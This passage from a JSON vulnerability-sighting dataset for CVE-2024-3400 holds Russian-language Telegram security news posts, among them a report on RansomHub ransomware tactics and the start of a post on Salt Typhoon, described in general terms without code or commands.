\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432. \u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 OTP-\u043a\u043e\u0434\u043e\u0432 \u0441\u0442\u0430\u043d\u0435\u0442 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0433\u043b\u0430\u0432\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u0414\u0430\u0440\u043a\u043d\u0435\u0442-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442 \u0441\u0432\u043e\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0443\u0441\u0438\u043b\u0438\u044f \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u043e\u0432, \u0430 \u043c\u0435\u043d\u0435\u0435 \u043e\u043f\u044b\u0442\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u043d\u0443\u0442 \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 Telegram.\n\n\u0414\u043b\u044f \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437\u0430\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0448\u0430\u0433\u043e\u0432:\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u0441\u0430\u0439\u0442\u0430\u0445 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438;\n\u0423\u0441\u0438\u043b\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0434\u0430\u0432\u0446\u043e\u0432;\n\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432;\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 Recorded Future \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u0438\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0439;\n\u041f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0442\u0438\u0444\u0440\u043e\u0434-\u043c\u0435\u0440 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0441\u0451 \u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u043e\u0449\u0440\u0451\u043d\u043d\u044b\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u043c \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f\u043c \u0438 \u0442\u043e\u0440\u0433\u043e\u0432\u044b\u043c \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043f\u0440\u043e\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0443\u043a\u0440\u0435\u043f\u043b\u044f\u0442\u044c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044e \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u0430.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-24T09:43:55.000000Z"}, {"uuid": "5dbb3701-edac-4f93-9242-1b5deb9174f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/itsec_news/5413", "content": "\u200b\u26a1\ufe0f600 \u0436\u0435\u0440\u0442\u0432 \u0437\u0430 \u0433\u043e\u0434: RansomHub \u2013 \u043d\u043e\u0432\u044b\u0439 \u043b\u0438\u0434\u0435\u0440 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a\n\n\ud83d\udcac \u0412 2024 \u0433\u043e\u0434\u0443 \u043d\u0430 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441\u0446\u0435\u043d\u0435 \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u0438\u0433\u0440\u043e\u043a \u2014 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 RansomHub, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0441\u043f\u0435\u043b\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0443\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 600 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f Group-IB, \u0433\u0440\u0443\u043f\u043f\u0430 RansomHub \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u043b\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u043d\u0438\u0448\u0443 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0439 \u0432 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 ALPHV \u0438 LockBit .\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e RansomHub \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 ransomware-as-a-service (RaaS), \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u044f \u043f\u0430\u0440\u0442\u043d\u0451\u0440\u043e\u0432 \u043d\u0430 \u043f\u043e\u0434\u043f\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u0430\u0445, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a RAMP. \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u043f\u0435\u0440\u0435\u043c\u0430\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 , \u0440\u0430\u043d\u0435\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0432\u0448\u0438\u0445 \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e RansomHub \u0431\u044b\u0441\u0442\u0440\u043e \u043d\u0430\u0440\u0430\u0441\u0442\u0438\u0442\u044c \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u044b \u0430\u0442\u0430\u043a.\n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0451 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0443 Knight (Cyclops), \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0443\u0441\u043a\u043e\u0440\u0438\u043b\u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0430\u0442\u0430\u043a, \u0430 \u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 Windows, ESXi, Linux \u0438 FreeBSD, \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u044f \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0440\u0442\u0432.\n\nRansomHub \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438. \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430 \u2014 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 VPN-\u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0438 \u043f\u043e\u0434\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u0442\u0430\u043a \u0438 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f. \u0412 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u0440\u043e\u0434\u0435 PCHunter, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0422\u0430\u043a\u0442\u0438\u043a\u0430 \u0430\u0442\u0430\u043a \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u0437\u0430\u0445\u0432\u0430\u0442 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0446\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u044e\u0442 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0443\u0437\u043b\u0430\u043c\u0438 \u2014 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430\u043c\u0438, \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u043c\u0438 \u043a\u043e\u043f\u0438\u044f\u043c\u0438, \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u2014 \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b. \u0414\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 Filezilla, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 RansomHub \u0448\u0430\u043d\u0442\u0430\u0436\u0438\u0440\u0443\u0435\u0442 \u0436\u0435\u0440\u0442\u0432\u0443, \u0442\u0440\u0435\u0431\u0443\u044f \u0432\u044b\u043a\u0443\u043f \u0437\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043d\u0435\u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0430\u0442\u044c \u0442\u0435\u043d\u0435\u0432\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0437\u0430\u0447\u0438\u0449\u0430\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u044f\u044f \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 .\n\n\u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a RansomHub \u0441\u0442\u0430\u043b\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0430\u044f \u0432\u0441\u0435\u0433\u043e \u0437\u0430 14 \u0447\u0430\u0441\u043e\u0432. \u041f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u043c \u044d\u043a\u0440\u0430\u043d\u0435 Palo Alto ( CVE-2024-3400 ) \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0437\u0430\u0442\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442 VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u044b\u0435 \u0431\u0440\u0435\u0448\u0438 \u0432 Windows ( CVE-2021-42278 \u0438 CVE-2020-1472 ), \u043f\u043e\u043b\u0443\u0447\u0430\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0442\u044c\u044e.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0441\u0442\u043e\u043b\u044c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c RansomHub \u0441\u0442\u0430\u043b\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u0415\u0441\u043b\u0438 \u0442\u0430 \u0438\u043b\u0438 \u0438\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u043a\u0440\u044b\u0442\u0443\u044e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434, \u0442\u043e \u0432\u0438\u043d\u043e\u0432\u0430\u0442\u043e \u0432 \u044d\u0442\u043e\u043c \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0435\u0451 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0445\u0430\u043b\u0430\u0442\u043d\u043e\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u043a \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0433\u043b\u0443\u043f\u043e \u043f\u0435\u0440\u0435\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f.\n\n\u0420\u0430\u0441\u0442\u0443\u0449\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c RansomHub \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u044e \u0437\u0430\u0449\u0438\u0442\u0443, \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0436\u0435\u0440\u0442\u0432 RansomHub \u0438 \u043f\u0440\u043e\u0447\u0438\u0445 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-02-17T08:21:47.000000Z"}, {"uuid": "cb3e0372-e3a6-421b-9bb8-23a689d5348d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/codeby_sec/9384", "content": "\ud83c\udde8\ud83c\uddf3 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \n\n\ud83d\udc32 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f APT-\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Salt Typhon \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043b 600 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n\ud83c\udf0e \u0414\u0430\u043d\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0441\u0432\u043e\u0438 \u0430\u0442\u0430\u043a\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0441\u0435\u0442\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, 